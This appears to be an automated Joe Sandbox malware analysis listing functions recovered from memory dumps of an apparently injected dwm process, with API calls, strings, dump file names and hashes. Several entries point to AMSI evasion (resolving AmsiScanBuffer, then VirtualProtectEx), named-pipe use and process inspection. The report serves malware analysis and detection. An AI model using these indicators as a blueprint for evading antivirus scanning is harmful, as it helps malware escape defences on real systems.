Instruction ID: 9cc1e1c6918ab2aa30d497d87bc35be6ce217cec7ee660061e8dc256c73a9c8d
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 60F0906131160191EA109B64A8883697330EB89760F680A19DAFE475E4DF2DC958C326

Function 000002BAAEE03708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000002BAAEE0275A), ref: 000002BAAEE0372A
StrCpyW.SHLWAPI ref: 000002BAAEE0373A
StrCatW.SHLWAPI ref: 000002BAAEE03746
PathCombineW.SHLWAPI(?,?,00000000,000002BAAEE0275A), ref: 000002BAAEE03754

Strings

\\.\pipe\, xrefs: 000002BAAEE03720

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: 1c85e2c862546d5d4a91e20a9f2957db8ad97bff34855c1c7d7a2c78379b7fac
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: 95F08264304B80A1EA649B13B91811AB371BB58FC0F688130EE8A47F18CF6CC589C711

Function 000002BAAEE01E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000002BAAEE01E47
GetProcAddress.KERNEL32 ref: 000002BAAEE01E57
Sleep.KERNEL32 ref: 000002BAAEE01E67

Strings

AmsiScanBuffer, xrefs: 000002BAAEE01E50
amsi.dll, xrefs: 000002BAAEE01E40

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: 286da797a1bfe9eecbf103d18c79398e36d186b9545bd24d432004cb9dc54d8f
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 56D06710A51A01F5EA6DBB51EC5C3583372AB74B81FE40419C58A45AA4DF2C89DEC362

Function 000002BAAEE05810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEE05896

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: 6530acc4772a8d12f6973325de470be2d0dea751e69314b5dacff1c02cbfc329
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: 4902B432259B8496EBB0DB55F49835AB7B0F384794F204016EACE87BA8DF7DC494CB11

Function 000002BAAED92AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000002BAAED92AE1
TlsGetValue.KERNEL32 ref: 000002BAAED92AF0
TlsGetValue.KERNEL32 ref: 000002BAAED92AFF
TlsSetValue.KERNEL32 ref: 000002BAAED92C3B
TlsSetValue.KERNEL32 ref: 000002BAAED92C4A
TlsSetValue.KERNEL32 ref: 000002BAAED92C59

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: c7b2fc1b66fd09e5e4ea1d3a806477ad2240914a5d858d9160325d174c5f3b40
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 26519F3631465187E764DF1AF848A6AB3B5F788B84F604119DE8E43B98EF3ACD05CB11

Function 000002BAAEE02AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000002BAAEE02AE1
TlsGetValue.KERNEL32 ref: 000002BAAEE02AF0
TlsGetValue.KERNEL32 ref: 000002BAAEE02AFF
TlsSetValue.KERNEL32 ref: 000002BAAEE02C3B
TlsSetValue.KERNEL32 ref: 000002BAAEE02C4A
TlsSetValue.KERNEL32 ref: 000002BAAEE02C59

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: ca187cd21d7f5f7b56b9816f640356e19585e2d4e68a0157b3e8146337f20523
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 7751B335314651A7E7B8DF2AE84862AB3F5F388B84F604119DE8A43F55DF38C945CB11

Function 000002BAAED95E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAED95E66

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 9064501d9207191e0a03e88cf4adaad404ffb1d761ed384ef498a641ed770bed
Instruction ID: 5d59b2b0103d7afae379df0fa74fc5c98ef46df26fa5efd1de3b985bc28ac734
Opcode Fuzzy Hash: 9064501d9207191e0a03e88cf4adaad404ffb1d761ed384ef498a641ed770bed
Instruction Fuzzy Hash: 4F61AA36529A44C7E7609F15E85831EB7B0F388794F204525FACD47BA8EB7EC940CB26

Function 000002BAAEE05E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEE05E66

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: 7ed8a6c2aec3008d9a0ccda01c3aeb7883eca110a2eac85899d85163b797e3db
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: 4F619536669A44D7EBB09B55E46831AB7B0F388744F200126EACD47FA8DB7DC544CB22

Function 000002BAAEE03EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAEE03A5B), ref: 000002BAAEE03EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAEE03A5B), ref: 000002BAAEE03F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAEE03A5B), ref: 000002BAAEE03F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAEE03A5B), ref: 000002BAAEE03F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002BAAEE03A5B), ref: 000002BAAEE03F68

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 77ad2b19e7a2230ec0cb9af4e572aef01a321567f89bdc863c920986bb1bd4b3
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 59115436605740E3EB74AF61E40825A77B0FB54B80F14012ADE8D03B98EF7DCA99C795

Function 000002BAAED98CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAED98CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAED98D62
RtlUnwindEx.NTDLL ref: 000002BAAED98DBC

Strings

csm, xrefs: 000002BAAED98D49

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 440627ce64d2ada56b8f9d0f3db69e9e517e1377010d291128d5e7e4d0537f6e
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 7751B13A3116008AEB54DF25E858B6C77B1F354F98F248125DA9E57B88EB7BCC41C711

Function 000002BAAF199EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAF199ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAF199FBC

Strings

csm, xrefs: 000002BAAF199EF6
csm, xrefs: 000002BAAF19A00E

Memory Dump Source

Source File: 0000000E.00000003.2062869608.000002BAAF190000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF190000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaf190000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 3fe2270a86bdc9aca7786154ab239505db148fb21d89b697c7277f44d6493fb3
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 82517A332042818AEB7C8F259188358BFB0F354B94F584117DB9987B95CB3BD894CBA3

Function 000002BAAED9A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002BAAED9A75B
_CallSETranslator.LIBVCRUNTIME ref: 000002BAAED9A7A7

Strings

MOC, xrefs: 000002BAAED9A76F
RCC, xrefs: 000002BAAED9A777

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: abf1f989ffcfa5047e80a579fcbc900d8e188ed999f07ffb6a8b8fac0b636424
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: AF61AD33508BC486EB209F15E84439AB7B0F789B98F544215EBDC1BB99EB7DC590CB11

Function 000002BAAED9AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAED9AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAED9ABBC

Strings

csm, xrefs: 000002BAAED9AC0E
csm, xrefs: 000002BAAED9AAF6

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 0c4456b12ac99b31c80c42d622e347fb2cbe79bb6605cb1c4bca8687c6397561
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 86514A372006808BEB748F26994835977B1F354B98F244116DADD4FF95EB3ADCA1CB22

Function 000002BAAEDD9EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDD9ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAEDD9FBC

Strings

csm, xrefs: 000002BAAEDD9EF6
csm, xrefs: 000002BAAEDDA00E

Memory Dump Source

Source File: 0000000E.00000003.2183641314.000002BAAEDD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaedd0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: b20c374377ad39ba3a6f1a8f709f82c5dcb46eb1bc1f2764971fd48c3ac288ef
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: F9519D362063848AEB748F21958876877B0F354B94F288117DBDDCBBD9CB79D450CB62

Function 000002BAAEE39EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEE39ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAEE39FBC

Strings

csm, xrefs: 000002BAAEE3A00E
csm, xrefs: 000002BAAEE39EF6

Memory Dump Source

Source File: 0000000E.00000003.2236561607.000002BAAEE30000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaee30000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: e788aadee9852db99d6e56b453df9be503104dd3a2d1b5cfb31bac03de6f5d9b
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: D1518F36204782AAEB748F21D54836877B4F354B98F3C4215DAD947FD9CB39C8A0CB12

Function 000002BAAEE0A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002BAAEE0A75B
_CallSETranslator.LIBVCRUNTIME ref: 000002BAAEE0A7A7

Strings

RCC, xrefs: 000002BAAEE0A777
MOC, xrefs: 000002BAAEE0A76F

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 429552153e51fd1f0dadb1a17f7b05fbd0ecc4c1cc7d084759c01038f325f827
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 3961AC72508BC895EBB18F25E44479AB7B0F794B98F548215EBDC17B99DB3CC0A0CB11

Function 000002BAAEE0AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEE0AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002BAAEE0ABBC

Strings

csm, xrefs: 000002BAAEE0AAF6
csm, xrefs: 000002BAAEE0AC0E

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 581b3af6a5f09984677c7e02dd3ac43814da8282dd10c8c1a0058d4ae8aeda78
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: BA516D32280788ABEBF48F26958835877B1F354B94F254116DADE47FD5DB38C861CB12

Function 000002BAAED93950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002BAAED93972
StrStrW.SHLWAPI ref: 000002BAAED93990
StrToIntW.SHLWAPI ref: 000002BAAED939B7

Part of subcall function 000002BAAED91A30: OpenProcess.KERNEL32 ref: 000002BAAED91A56
Part of subcall function 000002BAAED91A30: K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAED91A74
Part of subcall function 000002BAAED91A30: PathFindFileNameW.SHLWAPI ref: 000002BAAED91A83
Part of subcall function 000002BAAED91A30: lstrlenW.KERNEL32 ref: 000002BAAED91A8F
Part of subcall function 000002BAAED91A30: StrCpyW.SHLWAPI ref: 000002BAAED91AA2
Part of subcall function 000002BAAED91A30: CloseHandle.KERNEL32 ref: 000002BAAED91AB0

Part of subcall function 000002BAAED93F88: StrCmpNIW.SHLWAPI(?,?,?,000002BAAED9272F), ref: 000002BAAED93FA0

Strings

pid_, xrefs: 000002BAAED93968

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 1f9f99b32e30b4f6f9d0b627625a7301b595cb0cbe5a4b9e72d878c69f789e12
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: 53114F11314781A2EB109B35EC0835A77B4B785780FA44525DACD87B94FF6ACD15C721

Function 000002BAAEDA1FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002BAAEDA2027
WriteFile.KERNEL32 ref: 000002BAAEDA2304
WriteFile.KERNEL32 ref: 000002BAAEDA234A
GetLastError.KERNEL32 ref: 000002BAAEDA2409

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

